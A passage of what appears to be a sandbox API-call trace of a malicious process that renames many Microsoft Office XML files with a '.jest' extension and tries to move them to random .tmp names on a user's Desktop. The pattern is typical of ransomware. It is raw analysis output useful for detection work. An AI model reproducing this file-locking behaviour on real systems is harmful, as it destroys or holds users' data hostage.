HALPmcxz\\Desktop\\Bn-sVY J7-qXqQzS5D3umz0l3pLBst3EJ7xb_BD2HMshL8jtc5jQX7p-mYkEVElQt dgH5TG3MC4KEUvp99S 4bWH ZrlO_MWbV9b.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bn-svy j7-qxqqzs5d3umz0l3plbst3ej7xb_bd2hmshl8jtc5jqx7p-mykevelqt dgh5tg3mc4keuvp99s 4bwh zrlo_mwbv9b.tmp")) returned 0 [0168.803] GetLastError () returned 0x2 [0168.803] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.805] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.jest")) returned 1 [0168.808] VarBstrFromR4 (in: fltIn=0x4794592f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.37") returned 0x0 [0168.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zrhZqLCYtnFHfDcN_6DSdgC7CCjdJobiV6qnxq_yfQd4d894vVFM9EG1TTVEZj2jL47wtFUlo_ArJf1UX4M-EiyYmx4o0F0KeyLcR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrhzqlcytnfhfdcn_6dsdgc7ccjdjobiv6qnxq_yfqd4d894vvfm9eg1ttvezj2jl47wtfulo_arjf1ux4m-eiyymx4o0f0keylcr.tmp")) returned 0 [0168.809] GetLastError () returned 0x2 [0168.809] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.jest")) returned 1 [0168.813] VarBstrFromR4 (in: fltIn=0x4794592f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.37") returned 0x0 [0168.814] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EuPsgLeUvuTtVxFmmsEgGS0ErldgmVAqulI6UPStuXkTdSeOWZWv73hy0PpvVhtzmllQtw_3Pmp22vmKL0Dtsi 6igWRXq5glZat.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eupsgleuvuttvxfmmseggs0erldgmvaquli6upstuxktdseowzwv73hy0ppvvhtzmllqtw_3pmp22vmkl0dtsi 6igwrxq5glzat.tmp")) returned 0 [0168.814] GetLastError () returned 0x2 [0168.814] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.818] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.jest")) returned 1 [0168.821] VarBstrFromR4 (in: fltIn=0x47945932, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.39") returned 0x0 [0168.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8pcVI0yori5BdiRVVoBt9WsPxtkTvbVwwOOAGj3HdK C9xndNvh6byv6iCn-L6KDbhgJImkx4QbFSx0b0A1RZwjGiqf6AI4Zbjjo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8pcvi0yori5bdirvvobt9wspxtktvbvwwooagj3hdk c9xndnvh6byv6icn-l6kdbhgjimkx4qbfsx0b0a1rzwjgiqf6ai4zbjjo.tmp")) returned 0 [0168.822] GetLastError () returned 0x2 [0168.822] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.jest")) returned 1 [0168.824] VarBstrFromR4 (in: fltIn=0x47945932, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.39") returned 0x0 [0168.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UdnvYuvYP697PVO7z9xGsHQwKL5mDtSG8-hijBcb W-el8g-p3JHdGZE3XHyc8ItSHTdw Q3rFtrrh5BV34dcY-8LOya2sfn3b0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udnvyuvyp697pvo7z9xgshqwkl5mdtsg8-hijbcb w-el8g-p3jhdgze3xhyc8itshtdw q3rftrrh5bv34dcy-8loya2sfn3b0.tmp")) returned 0 [0168.826] GetLastError () returned 0x2 [0168.826] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.jest")) returned 1 [0168.829] VarBstrFromR4 (in: fltIn=0x47945932, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.39") returned 0x0 [0168.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VxatDNX59kcGsTe8X73R7gMHduRJnqmeQi_jPFd5TWpph4wG0EHveDRQPxLOU8m5_4rvpmLpAy0CVhsJj iW8n7nX z59d7gXGzC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vxatdnx59kcgste8x73r7gmhdurjnqmeqi_jpfd5twpph4wg0ehvedrqpxlou8m5_4rvpmlpay0cvhsjj iw8n7nx z59d7gxgzc.tmp")) returned 0 [0168.830] GetLastError () returned 0x2 [0168.830] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.jest")) returned 1 [0168.851] VarBstrFromR4 (in: fltIn=0x47945936, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.42") returned 0x0 [0168.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OWanWex-iEgrwuLtKHgwZekTtPvHxuVm3LeehF0TYYWMNYFVnCe5Jc_59BsGCmWpY78-gvRSe_Ht4T6BW9rZWtPoAKLbhTTxBuTZL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\owanwex-iegrwultkhgwzekttpvhxuvm3leehf0tyywmnyfvnce5jc_59bsgcmwpy78-gvrse_ht4t6bw9rzwtpoaklbhttxbutzl.tmp")) returned 0 [0168.895] GetLastError () returned 0x2 [0168.896] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.jest")) returned 1 [0168.902] VarBstrFromR4 (in: fltIn=0x4794593c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.47") returned 0x0 [0168.903] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VxKrksJGZ3MvOwgcIEki4WsYjAO3SsuZgmfDHkiFZsNKiwLWZdiAQ5F i3vQxK6KC5camp2x1t7B190VsHlM2vv29Vg0ctTnC3fU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vxkrksjgz3mvowgcieki4wsyjao3ssuzgmfdhkifzsnkiwlwzdiaq5f i3vqxk6kc5camp2x1t7b190vshlm2vv29vg0cttnc3fu.tmp")) returned 0 [0168.903] GetLastError () returned 0x2 [0168.903] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.jest")) returned 1 [0168.907] VarBstrFromR4 (in: fltIn=0x4794593c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.47") returned 0x0 [0168.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bw-Fa-2VXsOigkJIwiqBpyyq5dVI 1R3zRfLLpw-uZtlWP c4OP9XtJMCE9SIMmt5bJoRtk7Rx4iRiUhFapb8lzDV2UIGCPyJCoT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bw-fa-2vxsoigkjiwiqbpyyq5dvi 1r3zrfllpw-uztlwp c4op9xtjmce9simmt5bjortk7rx4iriuhfapb8lzdv2uigcpyjcot.tmp")) returned 0 [0168.908] GetLastError () returned 0x2 [0168.909] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.jest")) returned 1 [0168.911] VarBstrFromR4 (in: fltIn=0x4794593d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.48") returned 0x0 [0168.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q6sX7pvw 9PsKl4lV2J2SlxiGlm9vWXsAVkzjxHCCZ-CfHA9IbF gU270IP1EqgR9FRDq0I_hYD8F67TLz4Ot1Ne3BWAiNgpsOBV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q6sx7pvw 9pskl4lv2j2slxiglm9vwxsavkzjxhccz-cfha9ibf gu270ip1eqgr9frdq0i_hyd8f67tlz4ot1ne3bwaingpsobv.tmp")) returned 0 [0168.912] GetLastError () returned 0x2 [0168.912] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.jest")) returned 1 [0168.915] VarBstrFromR4 (in: fltIn=0x4794593d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.48") returned 0x0 [0168.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-pnMZEidJEWAWweUjkHWagZZi72Ktv2eGiwTGQmVCTKi8O3jjASioMIxL16U8EdiqRiodZ0cjMqt7SCcoazxm0UyFyf2cZwTJYLz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-pnmzeidjewawweujkhwagzzi72ktv2egiwtgqmvctki8o3jjasiomixl16u8ediqriodz0cjmqt7sccoazxm0uyfyf2czwtjylz.tmp")) returned 0 [0168.916] GetLastError () returned 0x2 [0168.916] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.jest")) returned 1 [0168.918] VarBstrFromR4 (in: fltIn=0x4794593d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.48") returned 0x0 [0168.918] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4WOL0M1VclZyhe8iYuCdyHddVcGd9i27xePD5n7OKjQ4YJbETrt_2bUpx5euPZFM5AyXzKtTPLm4jfxtCr95kInbArZbL0M7IBTr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4wol0m1vclzyhe8iyucdyhddvcgd9i27xepd5n7okjq4yjbetrt_2bupx5eupzfm5ayxzkttplm4jfxtcr95kinbarzbl0m7ibtr.tmp")) returned 0 [0168.919] GetLastError () returned 0x2 [0168.919] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.jest")) returned 1 [0168.921] VarBstrFromR4 (in: fltIn=0x4794593d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.48") returned 0x0 [0168.921] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F0kSr6Ay1Beb0T2Rzj6Fb9inh-wTwkXkvdgtLzvn9cgfJW3ikad1NtTztdmlrfjhC6Rc __JCZR2S9e99pdC3Mh55lEwRYQcFk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f0ksr6ay1beb0t2rzj6fb9inh-wtwkxkvdgtlzvn9cgfjw3ikad1nttztdmlrfjhc6rc __jczr2s9e99pdc3mh55lewryqcfk.tmp")) returned 0 [0168.921] GetLastError () returned 0x2 [0168.922] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.jest")) returned 1 [0168.924] VarBstrFromR4 (in: fltIn=0x4794593d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.48") returned 0x0 [0168.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XAubGrB2THgo25Oe7hWX285vZoT3RDZbXwlOgNvs23K_WpuCVfjH46HlU5V-0G H1JFwm34Ign9fjzHp7UskCRLPCD8GKmy3ZmPJS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xaubgrb2thgo25oe7hwx285vzot3rdzbxwlognvs23k_wpucvfjh46hlu5v-0g h1jfwm34ign9fjzhp7uskcrlpcd8gkmy3zmpjs.tmp")) returned 0 [0168.925] GetLastError () returned 0x2 [0168.925] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.jest")) returned 1 [0168.928] VarBstrFromR4 (in: fltIn=0x4794593f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.49") returned 0x0 [0168.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9RBCXOjNiipRzRRQyOsroav lIzlm4Q9NVJTHz2MeRSZCmaWKE5GOXMnIw-FAa3e JiT-RSRv2yA-egQjmsxo-GszXPhrxYmpTwbP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9rbcxojniiprzrrqyosroav lizlm4q9nvjthz2merszcmawke5goxmniw-faa3e jit-rsrv2ya-egqjmsxo-gszxphrxymptwbp.tmp")) returned 0 [0168.929] GetLastError () returned 0x2 [0168.929] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.929] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.jest")) returned 1 [0168.932] VarBstrFromR4 (in: fltIn=0x4794593f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.49") returned 0x0 [0168.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 